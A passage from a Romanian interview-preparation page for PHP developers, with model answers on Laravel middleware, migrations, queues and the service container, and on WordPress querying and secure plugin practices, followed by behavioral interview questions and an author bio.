Coloanele sensibile (rol, sold, status de plată) se setează explicit în cod, nu din input.

Ce urmărește intervievatorul: Verifică dacă folosești ORM-ul corect și sigur. Vulnerabilitatea de mass assignment apare des în aplicații reale.

88 Mid

Ce sunt middleware-urile în Laravel și cum arată ciclul de viață al unei cereri?

Răspuns scurt: Middleware-urile sunt straturi care procesează cererea înainte să ajungă la controller și răspunsul după aceea, de exemplu pentru autentificare, CSRF, rate limiting sau setarea limbii. Cererea trece prin kernel, middleware-urile globale, router, middleware-urile rutei, controller, apoi înapoi.

Ciclul de viață, simplificat:

  • public/index.php încarcă autoloader-ul Composer și creează aplicația
  • se înregistrează și pornesc service providers (configurare, baze de date, rute)
  • cererea trece prin middleware-urile globale (de exemplu gestionarea proxy-urilor de încredere, mentenanța)
  • router-ul găsește ruta și aplică middleware-urile grupului (web adaugă sesiuni, cookie-uri criptate, CSRF; api adaugă rate limiting) și ale rutei (auth, can:...)
  • controller-ul produce un răspuns, care se întoarce prin aceleași middleware-uri în ordine inversă

Un middleware propriu:

PHP
final class SeteazaLimba
{
    public function handle(Request $request, Closure $next): Response
    {
        $limba = $request->user()?->limba ?? $request->getPreferredLanguage(['ro', 'en']) ?? 'ro';
        app()->setLocale($limba);

        $raspuns = $next($request);           // trece mai departe

        $raspuns->headers->set('Content-Language', $limba);
        return $raspuns;
    }
}

Codul de dinainte de $next($request) rulează la intrare, cel de după, la ieșire. Un middleware poate și opri cererea, returnând direct un răspuns (de exemplu un redirect la login).

Înregistrare: în Laravel 11 și versiunile următoare, middleware-urile se configurează în bootstrap/app.php; în versiunile anterioare, în app/Http/Kernel.php. Pe rută se aplică cu ->middleware(SeteazaLimba::class) sau prin alias.

Ce nu pui într-un middleware: logică de business specifică unei singure acțiuni. Middleware-ul este potrivit pentru preocupări transversale, valabile pentru multe rute. Același concept există în PSR-15 și în Symfony (prin evenimente de kernel).

Ce urmărește intervievatorul: Verifică înțelegerea arhitecturii framework-ului, nu doar folosirea lui. Ordinea inversă la răspuns e un detaliu des ratat.

89 Mid

Cum folosești migrările și validarea datelor în Laravel?

Răspuns scurt: Migrările sunt clase PHP versionate în Git care descriu schimbările de schemă, ca toată echipa să aibă aceeași structură. Validarea se face cu $request->validate() sau cu clase Form Request, iar la eșec Laravel răspunde automat cu erorile (redirect sau 422 în JSON).

Migrare:

PHP
return new class extends Migration {
    public function up(): void
    {
        Schema::create('comenzi', function (Blueprint $t) {
            $t->id();
            $t->foreignId('client_id')->constrained()->restrictOnDelete();
            $t->decimal('total', 10, 2);
            $t->string('status', 20)->default('noua')->index();
            $t->timestamps();
        });
    }

    public function down(): void
    {
        Schema::dropIfExists('comenzi');
    }
};

Comenzi: php artisan make:migration, php artisan migrate, migrate:rollback. Regulă importantă: o migrare care a rulat deja în producție nu se mai modifică; creezi una nouă. Seeders și factories populează date de test.

Validare cu Form Request:

PHP
final class StoreComandaRequest extends FormRequest
{
    public function authorize(): bool
    {
        return $this->user()->can('create', Comanda::class);
    }

    public function rules(): array
    {
        return [
            'produse'             => ['required', 'array', 'min:1'],
            'produse.*.id'        => ['required', 'integer', 'exists:produse,id'],
            'produse.*.cantitate' => ['required', 'integer', 'between:1,100'],
            'email'               => ['required', 'email:rfc', 'max:255'],
            'cod_reducere'        => ['nullable', 'string', Rule::exists('reduceri', 'cod')->where('activ', 1)],
        ];
    }
}

public function store(StoreComandaRequest $request) {
    $date = $request->validated(); // doar câmpurile validate
}

Controller-ul rămâne curat, iar regulile sunt reutilizabile și testabile. Pentru formulare web, la eșec utilizatorul e redirecționat înapoi cu erorile și valorile vechi (old('email')); pentru cereri JSON, răspunsul este 422 cu lista erorilor. Validarea pe server este obligatorie chiar dacă există validare în JavaScript, pentru că cea din browser poate fi ocolită.

Ce urmărește intervievatorul: Verifică disciplina în lucrul cu schema și input-ul. Modificarea unei migrări deja rulate în producție este greșeala tipică.

90 Mid

Cum creezi un custom post type în WordPress și cum interoghezi date în siguranță cu WP_Query și $wpdb?

Răspuns scurt: Un custom post type se înregistrează cu register_post_type() pe hook-ul init. Pentru citire folosești WP_Query cu argumente, iar pentru SQL direct folosești $wpdb->prepare() cu placeholdere, niciodată valori concatenate.

Înregistrare:

PHP
add_action('init', function () {
    register_post_type('curs', [
        'labels'       => ['name' => 'Cursuri', 'singular_name' => 'Curs'],
        'public'       => true,
        'has_archive'  => true,
        'rewrite'      => ['slug' => 'cursuri'],
        'show_in_rest' => true, // necesar pentru editorul de blocuri și REST API
        'supports'     => ['title', 'editor', 'thumbnail', 'excerpt'],
    ]);
});

După înregistrarea unui tip nou sau schimbarea rewrite, regulile de permalink trebuie regenerate (salvând setările de permalink sau cu flush_rewrite_rules() la activarea pluginului, nu la fiecare cerere).

Interogare cu WP_Query:

PHP
$q = new WP_Query([
    'post_type'      => 'curs',
    'posts_per_page' => 6,
    'meta_query'     => [['key' => 'nivel', 'value' => 'incepator']],
    'no_found_rows'  => true, // fără calcul de total, dacă nu paginezi
]);
while ($q->have_posts()) {
    $q->the_post();
    echo '<h2>' . esc_html(get_the_title()) . '</h2>';
}
wp_reset_postdata();

SQL direct, când e necesar:

PHP
global $wpdb;
$rez = $wpdb->get_results($wpdb->prepare(
    "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_type = %s AND post_author = %d",
    'curs',
    $autorId
));

%s, %d și %f sunt placeholdere, iar $wpdb->prefix sau proprietăți ca $wpdb->posts dau numele corect al tabelelor. Uitarea lui wp_reset_postdata() după o buclă personalizată strică datele postării curente pentru restul șablonului. Interogările pe meta_query sunt lente la volume mari, pentru că tabelul postmeta nu este indexat pe valori; pentru filtrare intensă, taxonomiile sunt mai potrivite.

Ce urmărește intervievatorul: Verifică experiența practică de WordPress la nivel de cod. Se urmăresc prepare() și escaping-ul la afișare.

91 Senior

Când ai folosi cozi (queues) și cache în Laravel și ce probleme pot apărea?

Răspuns scurt: Cozile mută munca lentă (emailuri, generare PDF, apeluri externe) în procese worker separate, ca cererea HTTP să răspundă repede. Cache-ul evită recalcularea datelor costisitoare. Problemele tipice: joburi care nu sunt idempotente, workeri cu cod vechi și invalidarea greșită a cache-ului.

Fără coadă, un utilizator care plasează o comandă așteaptă trimiterea emailului, generarea facturii și notificarea către curier; dacă un serviciu extern e lent, cererea expiră.

PHP
final class GenereazaFactura implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    public int $tries = 5;
    public array $backoff = [10, 60, 300];

    public function __construct(public Comanda $comanda) {}

    public function handle(ServiciuFacturare $f): void
    {
        if ($this->comanda->factura_id) {
            return; // deja emisă, jobul e idempotent
        }
        $this->comanda->update(['factura_id' => $f->emite($this->comanda)]);
    }
}

GenereazaFactura::dispatch($comanda)->afterCommit();

Lucruri de știut:

  • driverul de coadă poate fi baza de date, Redis sau Amazon SQS; workerii rulează cu php artisan queue:work sub un supervisor care îi repornește
  • un job poate rula de mai multe ori (reîncercări, timeout), deci trebuie să fie idempotent
  • afterCommit() previne situația în care jobul rulează înainte ca tranzacția care a creat comanda să fie comisă
  • workerii țin aplicația în memorie, deci după deploy rulezi queue:restart
  • joburile eșuate ajung în failed_jobs și trebuie monitorizate; Horizon oferă un panou pentru Redis

Cache:

PHP
$top = Cache::remember('produse.top', now()->addMinutes(10), fn () => Produs::top(10)->get());
Cache::forget('produse.top'); // la modificarea unui produs

Problemele cache-ului sunt invalidarea (date vechi afișate) și „cache stampede”, când multe cereri recalculează simultan aceeași cheie expirată; Cache::lock() sau Cache::flexible() (Laravel 11) ajută. Pune în cache doar după ce ai măsurat că un calcul chiar e lent.

Ce urmărește intervievatorul: La senior se verifică înțelegerea sistemelor asincrone. Idempotența și afterCommit sunt semnele unui candidat cu experiență reală.

92 Senior

Cum funcționează service container-ul și service providers în Laravel?

Răspuns scurt: Service container-ul este containerul DI al Laravel: rezolvă automat clasele și dependențele lor prin Reflection și permite legarea interfețelor de implementări. Service providers sunt locul în care înregistrezi aceste legături (register) și pornești servicii (boot).

Containerul construiește automat orice clasă concretă ale cărei dependențe le poate rezolva. Când o clasă cere o interfață, trebuie să îi spui ce implementare să folosească.

PHP
final class PlatiServiceProvider extends ServiceProvider
{
    public function register(): void
    {
        $this->app->singleton(ProcesatorPlati::class, function (Application $app) {
            return new ProcesatorStripe(
                cheie: config('services.stripe.secret'),
                log: $app->make(LoggerInterface::class),
            );
        });

        $this->app->bind(CalculatorTransport::class, CalculatorTransportStandard::class);

        $this->app->when(RaportController::class)
            ->needs(Filesystem::class)
            ->give(fn () => Storage::disk('rapoarte'));
    }

    public function boot(): void
    {
        Event::listen(ComandaPlasata::class, TrimiteConfirmare::class);
    }
}

Diferențe de bază:

  • bind: instanță nouă la fiecare rezolvare
  • singleton: o singură instanță pe durata aplicației (în PHP-FPM, pe durata cererii; sub Octane, între cereri, ceea ce poate scurge stare)
  • scoped: o instanță per cerere sau job, sigură și sub Octane
  • binding contextual (when ... needs ... give): implementări diferite pentru consumatori diferiți

register() doar înregistrează legături; nu folosește alte servicii, pentru că s-ar putea să nu fie încă înregistrate. boot() rulează după ce toți providerii s-au înregistrat, deci acolo poți folosi orice serviciu.

În teste, înlocuiești ușor implementarea: $this->app->instance(ProcesatorPlati::class, $fals). Facades (Cache::get) sunt doar o interfață statică spre obiecte din container, deci pot fi și ele înlocuite în teste cu Cache::shouldReceive(...). La nivel senior, discuția include costul binding-urilor la bootstrap și diferențele de comportament sub Octane.

Ce urmărește intervievatorul: Verifică înțelegerea profundă a framework-ului. Un răspuns bun distinge register de boot și pomenește implicațiile la Octane.

93 Senior

Ce reguli de securitate și performanță urmezi când scrii un plugin WordPress?

Răspuns scurt: Pentru securitate: verifici capabilitățile utilizatorului, folosești nonces pentru acțiuni, validezi input-ul și faci escaping la ieșire cu funcțiile WordPress, iar SQL-ul trece prin $wpdb->prepare. Pentru performanță: încarci scripturile doar unde e nevoie, folosești transients sau object cache și eviți query-urile grele la fiecare cerere.

Securitate, pe un exemplu de acțiune din panoul de administrare:

PHP
add_action('admin_post_ap_export', function () {
    if (!current_user_can('manage_options')) {
        wp_die('Nu ai drepturi', 403);
    }
    check_admin_referer('ap_export'); // verifică nonce-ul
    $an = absint($_POST['an'] ?? 0);
    // ...
});

// în formular
wp_nonce_field('ap_export');

// la afișare
echo '<a href="' . esc_url($link) . '">' . esc_html($titlu) . '</a>';
echo '<input value="' . esc_attr($valoare) . '">';

Regulile:

  • capabilitate, nu doar autentificare: is_user_logged_in() nu înseamnă drept de administrare
  • nonce pentru orice acțiune care modifică date (protecție CSRF)
  • sanitizare la intrare (sanitize_text_field, absint, sanitize_email) și escaping contextual la ieșire (esc_html, esc_attr, esc_url, wp_kses_post)
  • endpoint-urile REST au un permission_callback real, nu __return_true pentru date private
  • fișierele PHP ale pluginului încep cu defined('ABSPATH') || exit;, ca să nu fie executate direct
  • prefix unic pentru funcții, opțiuni și hooks, ca să eviți coliziunile

Performanță:

  • wp_enqueue_script condiționat, doar pe paginile care folosesc pluginul
  • opțiunile mari nu se salvează cu autoload activ, pentru că se încarcă la fiecare cerere
  • rezultatele costisitoare (apeluri API externe, query-uri complexe) se păstrează cu set_transient sau, cu Redis, în object cache
  • tabele proprii, cu indecși, pentru date voluminoase, în loc de postmeta
  • WP-Cron rulează la vizitele utilizatorilor; pentru sarcini grele îl dezactivezi și pui un cron real de sistem

La nivel senior merită menționată și compatibilitatea: verificarea versiunii minime de PHP și WordPress la activare și curățarea datelor la dezinstalare (uninstall.php).

Ce urmărește intervievatorul: Pluginurile vulnerabile sunt o sursă majoră de compromiteri ale site-urilor WordPress. Se urmărește combinația capabilitate plus nonce plus escaping.

Comportamentale și HR

94 Junior

Spune-mi câteva lucruri despre tine și de ce vrei să lucrezi ca Web Developer PHP.

Răspuns scurt: Un răspuns bun durează unu-două minute și are trei părți: ce faci acum și ce ai învățat, un proiect concret care arată ce știi, și de ce te interesează exact acest rol și această firmă.

Intervievatorul nu vrea biografia completă, ci un rezumat relevant pentru post. O structură care funcționează este prezent, trecut, viitor.

  • Prezent: cine ești profesional acum. „Lucrez de un an pe proiecte PHP freelance și am terminat un traseu de formare pe dezvoltare web cu PHP, SQL și JavaScript.”
  • Trecut: ce te-a adus aici și un rezultat concret. „Am pornit de la un site WordPress pentru o asociație, unde am scris primul plugin, un formular de înscriere cu export în CSV. Apoi am construit în Laravel o aplicație de rezervări, cu autentificare, panou de administrare și notificări pe email.”
  • Viitor: de ce acest rol. „Vreau să lucrez într-o echipă cu code review și teste automate, ca să cresc mai repede decât singur. Am văzut că folosiți Laravel și că aveți și componente de API, exact zona în care vreau să mă dezvolt.”

Dacă vii din altă meserie, prezintă tranziția ca pe un avantaj: experiența cu clienții, cu termene sau dintr-un domeniu (contabilitate, logistică) te ajută să înțelegi cerințele de business.

Ce să eviți:

  • să reciți CV-ul cronologic
  • motivații exclusiv financiare sau „PHP e ușor”
  • să vorbești negativ despre un angajator anterior
  • afirmații vagi fără exemplu („sunt pasionat de programare”)

Pregătește răspunsul dinainte și repetă-l cu voce tare, dar nu îl memora cuvânt cu cuvânt. Ține pregătit un link la un proiect pe GitHub sau online, pentru că aproape sigur vei fi întrebat despre el.

Ce urmărește intervievatorul: Este de obicei prima întrebare și dă tonul discuției. Se urmărește claritatea, relevanța și motivația reală, nu povestea vieții.

95 Junior

Povestește-mi despre un proiect PHP pe care l-ai construit. Ce decizii ai luat și ce ai face altfel acum?

Răspuns scurt: Alege un proiect pe care îl cunoști în detaliu, explică problema rezolvată, arhitectura și tehnologiile, două-trei decizii argumentate, o dificultate concretă și ce ai îmbunătăți acum. Autoreflecția contează la fel de mult ca rezultatul.

Întrebarea verifică dacă proiectul este al tău și dacă ai înțeles ce ai construit. O structură utilă:

  • Contextul: ce problemă rezolvă și pentru cine. „O aplicație de programări pentru un cabinet, folosită de recepție și de pacienți.”
  • Tehnologii și arhitectura pe scurt: „Laravel 11, MySQL, Blade cu puțin JavaScript, deploy pe un VPS cu Nginx și PHP-FPM.”
  • Decizii argumentate: „Am pus o constrângere unică pe (medic, interval) în baza de date, nu doar o verificare în PHP, pentru că două programări simultane ar fi trecut amândouă de verificarea din cod.” sau „Am trimis emailurile prin coadă, ca formularul să răspundă imediat.”
  • O dificultate și cum ai rezolvat-o: „Pagina de calendar făcea peste 200 de query-uri; am găsit cu Debugbar problema N+1 și am rezolvat-o cu eager loading.”
  • Ce ai face altfel: „Aș scrie teste de la început pentru regulile de programare; le-am adăugat târziu și am găsit două bug-uri vechi.”

Pregătește-te pentru întrebări de aprofundare: „cum ai protejat formularele?”, „ce s-ar întâmpla cu 100 de ori mai mulți utilizatori?”, „de ce Laravel și nu WordPress?”. Dacă ai lucrat în echipă, spune clar ce parte a fost a ta.

Greșeli frecvente: un proiect de tutorial urmat pas cu pas, prezentat ca proiect propriu; lipsa oricărei autocritici („nu aș schimba nimic”); prea multe detalii despre funcționalități și prea puține despre decizii. Un proiect mic, dar înțeles complet, convinge mai mult decât unul mare copiat.

Ce urmărește intervievatorul: Intervievatorul verifică autenticitatea experienței și capacitatea de a explica decizii tehnice. Răspunsul „nu aș schimba nimic” e un semnal slab.

96 Mid

Povestește despre cel mai greu bug pe care l-ai rezolvat.

Răspuns scurt: Folosește structura STAR (Situație, Sarcină, Acțiune, Rezultat): descrie simptomul, de ce era greu, cum ai investigat pas cu pas, cauza reală, soluția și ce ai schimbat ca să nu se repete.

Răspunsul arată cum gândești când lucrurile nu merg, deci procesul de investigare contează mai mult decât bug-ul în sine.

Un exemplu de structură:

  • Situație: „Unii clienți primeau din când în când două emailuri de confirmare și, rar, erau taxați de două ori la plată. Nu reușeam să reproducem local.”
  • Sarcină: „Trebuia să găsesc cauza rapid, pentru că implica bani și reclamații.”
  • Acțiune: „Am adăugat loguri cu un identificator unic per cerere și am corelat logurile serverului web cu cele ale aplicației. Am observat că dublurile apăreau la utilizatori pe conexiuni mobile lente, care apăsau din nou butonul sau a căror cerere era retrimisă. Codul verifica în PHP dacă există deja o plată pentru comandă, apoi o crea, iar două cereri simultane treceau amândouă de verificare.”
  • Rezultat: „Am introdus o cheie de idempotență trimisă la procesatorul de plăți, o constrângere unică în baza de date pe comandă, iar butonul se dezactivează după trimitere. Am scris un test care simulează două cereri simultane. Dublurile au dispărut, iar în retrospectiva echipei am adăugat verificarea condițiilor de cursă în checklist-ul de code review.”

Ce caută intervievatorul: ipoteze formulate și verificate metodic, folosirea uneltelor (loguri, debugger, EXPLAIN, DevTools), înțelegerea cauzei reale, nu doar a simptomului, și măsuri de prevenire.

Evită bug-urile banale (un punct și virgulă lipsă), poveștile în care meritul e al altcuiva și răspunsurile fără rezultat clar. Dacă ai mai puțină experiență, un bug dintr-un proiect personal este perfect valabil, cu condiția să îl explici în detaliu.

Ce urmărește intervievatorul: Verifică abilitatea de depanare și perseverența. Intervievatorul urmărește metoda, nu dificultatea aparentă a bug-ului.

97 Mid

Cum reacționezi când un coleg îți respinge codul în code review sau nu ești de acord cu un comentariu?

Răspuns scurt: Pornesc de la ideea că review-ul este despre cod, nu despre mine. Încerc să înțeleg argumentul, răspund cu motive tehnice și exemple, accept când colegul are dreptate, iar când dezacordul persistă propun o discuție scurtă sau aplic convenția echipei.

Intervievatorul vrea să vadă dacă poți colabora și dacă ai maturitatea să separi critica tehnică de cea personală.

Un model de răspuns:

  • Întâi înțeleg: „Dacă un comentariu nu e clar, întreb ce risc vede colegul. De multe ori are context pe care eu nu îl am, de exemplu un incident anterior sau o parte a sistemului pe care nu o cunosc.”
  • Argumentez cu fapte: „Dacă tot cred că varianta mea e mai bună, explic de ce, cu un benchmark, documentație sau un test care arată comportamentul.”
  • Aleg mediul potrivit: „După două-trei schimburi de comentarii, propun cinci minute de discuție directă; în scris, tonul se pierde ușor.”
  • Accept decizia: „Dacă e o chestiune de gust și echipa are o convenție, o urmez. Dacă e ceva important pentru proiect, propun ca subiectul să fie discutat la nivel de echipă și trecut în regulile de stil.”

Un exemplu concret ajută: „Un coleg mi-a cerut să mut o logică de calcul din controller într-o clasă de serviciu. Mi s-a părut inutil pentru 20 de linii, dar mi-a arătat că aceeași logică urma să fie folosită și din API. Am făcut schimbarea și am câștigat timp la task-ul următor.”

Și invers, când tu faci review: comentezi codul, nu persoana, explici motivul, separi problemele blocante de sugestii și lauzi ce e bine făcut.

Semnale negative: defensivă, „am dreptate pentru că așa am învățat”, sau acceptarea oricărui comentariu fără înțelegere doar ca să treacă review-ul.

Ce urmărește intervievatorul: Verifică colaborarea și maturitatea profesională. Răspunsurile defensive sau complet pasive sunt la fel de problematice.

98 Mid

Ce faci când îți dai seama că nu vei termina un task la termenul estimat?

Răspuns scurt: Anunț cât mai devreme persoana responsabilă, explic cauza concretă, ofer o estimare nouă realistă și propun opțiuni: reducerea scopului, ajutor de la un coleg sau mutarea termenului. Nu ascund problema până în ultima zi.

Estimările în software sunt adesea greșite, iar intervievatorul știe asta. Ce vrea să afle este dacă devii transparent sau dacă ascunzi problemele.

Model de răspuns:

  • Semnalez devreme: „De îndată ce văd că am consumat jumătate din timp și sunt la un sfert din muncă, anunț. O întârziere aflată cu o săptămână înainte poate fi gestionată; una aflată în ziua lansării, nu.”
  • Explic cauza concret: „Integrarea cu API-ul curierului avea documentația depășită și am pierdut două zile pe tratarea răspunsurilor reale.”
  • Ofer opțiuni, nu doar problema: „Pot livra la termen fluxul principal, fără exportul PDF, care poate veni săptămâna viitoare. Sau livrez complet cu trei zile mai târziu.”
  • Dau o estimare nouă cu rezervele clare: „Dacă API-ul nu mai are surprize, termin joi.”

Un exemplu din experiență face răspunsul credibil, chiar și unul dintr-un proiect personal sau de la un job anterior din altă meserie.

Despre estimare în general, merită să arăți că înveți din greșeli: împarți task-urile în bucăți mai mici de o zi, adaugi timp pentru teste și review, notezi riscurile necunoscute (o integrare nouă, cod legacy pe care nu l-ai văzut) și compari estimările cu timpul real, ca să te calibrezi.

Semnale negative: lucrul peste program în tăcere ca soluție standard, sacrificarea testelor ca să „prinzi” termenul fără să spui nimănui, sau învinovățirea altora. Calitatea și transparența contează mai mult pe termen lung decât o singură livrare la timp.

Ce urmărește intervievatorul: Se verifică onestitatea și comunicarea. Intervievatorul caută semnalarea timpurie și propunerea de alternative.

99 Senior

Ai preluat o aplicație PHP veche, fără teste, pe o versiune de PHP neactualizată. Cum ai moderniza-o?

Răspuns scurt: Nu rescriu totul de la zero. Înțeleg întâi aplicația și riscurile, adaug teste de caracterizare pe fluxurile critice, fac upgrade de PHP pas cu pas cu unelte de analiză statică și Rector, apoi refactorizez incremental, cu deploy-uri mici și reversibile.

Întrebarea combină partea tehnică cu judecata. Rescrierea completă pare tentantă, dar oprește livrarea de valoare luni întregi și pierde reguli de business ascunse în codul vechi.

Un plan structurat:

  • Inventar și riscuri: versiunea PHP, extensii, dependențe (inclusiv cele copiate manual, fără Composer), fluxurile critice pentru business (plăți, login), problemele de securitate evidente (SQL concatenat, parole în MD5). Securitatea urgentă se repară prima.
  • Plasă de siguranță: teste de caracterizare, care fixează comportamentul actual al fluxurilor importante, chiar dacă e ciudat. Teste end-to-end sau HTTP sunt de multe ori mai ușor de adăugat decât teste unitare în cod puternic cuplat. Plus monitorizare a erorilor în producție.
  • Fundația: Composer cu autoloading PSR-4, un mediu local reproductibil (Docker), CI care rulează testele și PHPStan la un nivel minim, crescut treptat.
  • Upgrade PHP pe trepte (de exemplu 7.2, 7.4, apoi 8.x), cu PHPCompatibility și Rector, care automatizează multe transformări de sintaxă. Fiecare treaptă ajunge în producție înainte de următoarea.
  • Refactorizare incrementală: tiparul Strangler Fig, în care funcționalitățile noi se scriu în cod modern (eventual un framework montat în paralel), iar rutele vechi se mută treptat. Regula „cercetașului”: lași fiecare fișier atins puțin mai curat.

Partea de comunicare contează la senior: explici business-ului costul riscului actual (versiuni PHP fără actualizări de securitate), propui un plan cu etape măsurabile și negociezi un procent constant din timp pentru datorie tehnică, în loc de un proiect separat care nu primește niciodată prioritate.

Ce urmărește intervievatorul: La senior se verifică judecata și capacitatea de a conduce o schimbare cu risc controlat. „Rescriem totul în Laravel” este răspunsul pe care intervievatorul nu vrea să-l audă.

100 Senior

Cum ajuți un coleg junior să crească în echipă?

Răspuns scurt: Prin onboarding structurat, task-uri potrivite ca dificultate, code review explicativ, sesiuni de pair programming și siguranța de a pune întrebări. Scopul este ca juniorul să devină autonom, nu dependent de mine.

La nivel senior, se așteaptă să multiplici impactul echipei, nu doar să scrii cod bun. Intervievatorul vrea exemple concrete de mentorat.

Ce poți descrie:

  • Onboarding: documentație de pornire a proiectului care chiar funcționează (dacă juniorul se blochează la instalare, repari documentația), o prezentare a arhitecturii și un prim task mic care ajunge în producție în prima săptămână, pentru încredere.
  • Task-uri gradate: de la bug-uri bine delimitate la funcționalități întregi. Îi dai problema, nu soluția, dar cu suficient context ca să nu piardă zile pe căutări inutile.
  • Code review ca instrument de învățare: explici de ce, trimiți la documentație sau la un exemplu din cod, separi ce e blocant de ce e preferință. Câteva comentarii bine explicate valorează mai mult decât multe corecturi mărunte.
  • Pair programming: la început tu scrii și explici gândirea, apoi inversați rolurile.
  • Siguranță psihologică: îi spui explicit că întrebările sunt binevenite și îi sugerezi o regulă, de exemplu „încearcă singur o oră, apoi întreabă”. Recunoști public progresul.
  • Discuții periodice despre direcție: ce vrea să învețe (testare, performanța bazei de date, frontend) și ce task-uri îl duc acolo.

Un exemplu: „Un coleg evita testele pentru că nu știa de unde să înceapă. Am scris împreună testele pentru un bug reparat de el, apoi i-am propus să adauge câte un test la fiecare pull request. După câteva săptămâni a început să propună singur teste pentru cazuri limită.”

Măsura succesului este autonomia lui: cât de rar mai are nevoie de tine pentru decizii de rutină.

Ce urmărește intervievatorul: Verifică dacă ai abilitățile de leadership tehnic cerute la senior. Răspunsurile generale („îl ajut când are nevoie”) nu conving.

Întrebări de interviu pe tehnologii

Pregătire de interviu pentru alte meserii

Exerciții rezolvate pentru Web Developer PHP

← Toate întrebările de interviu

Tudor Andrei Dumitrescu
Cine coordonează pregătirea de interviu

Tudor Andrei Dumitrescu

Senior Software Developer · fondatorul Academiei Programatorilor

LinkedIn
  1. 2019 Junior JavaCognizant Softvision
  2. 2021 Mid JavaCognizant Softvision
  3. 2022 Team LeaderEndava
  4. 2023 Senior Software DeveloperUniCredit
  5. Acum Senior Software DeveloperHCLTech
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu
Certificat de formator autorizatMinisterul Muncii și Ministerul Educației · 2022
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu

Certificat de formator autorizat · Ministerul Muncii și Ministerul Educației · 2022

Din 2020 construiește Academia Programatorilor, iar din 2026 și JoburiIT.ro. Întrebările de aici urmăresc ce se cere la interviurile de Web Developer PHP, de la junior la mid, iar pe JoburiIT.ro îți poți certifica apoi cunoștințele.

De la întrebări la primul job de Web Developer PHP

Traseul de carieră îți pune cursurile în ordine, cu exerciții verificate automat și proiecte despre care poți vorbi la interviu. Primele lecții sunt gratuite.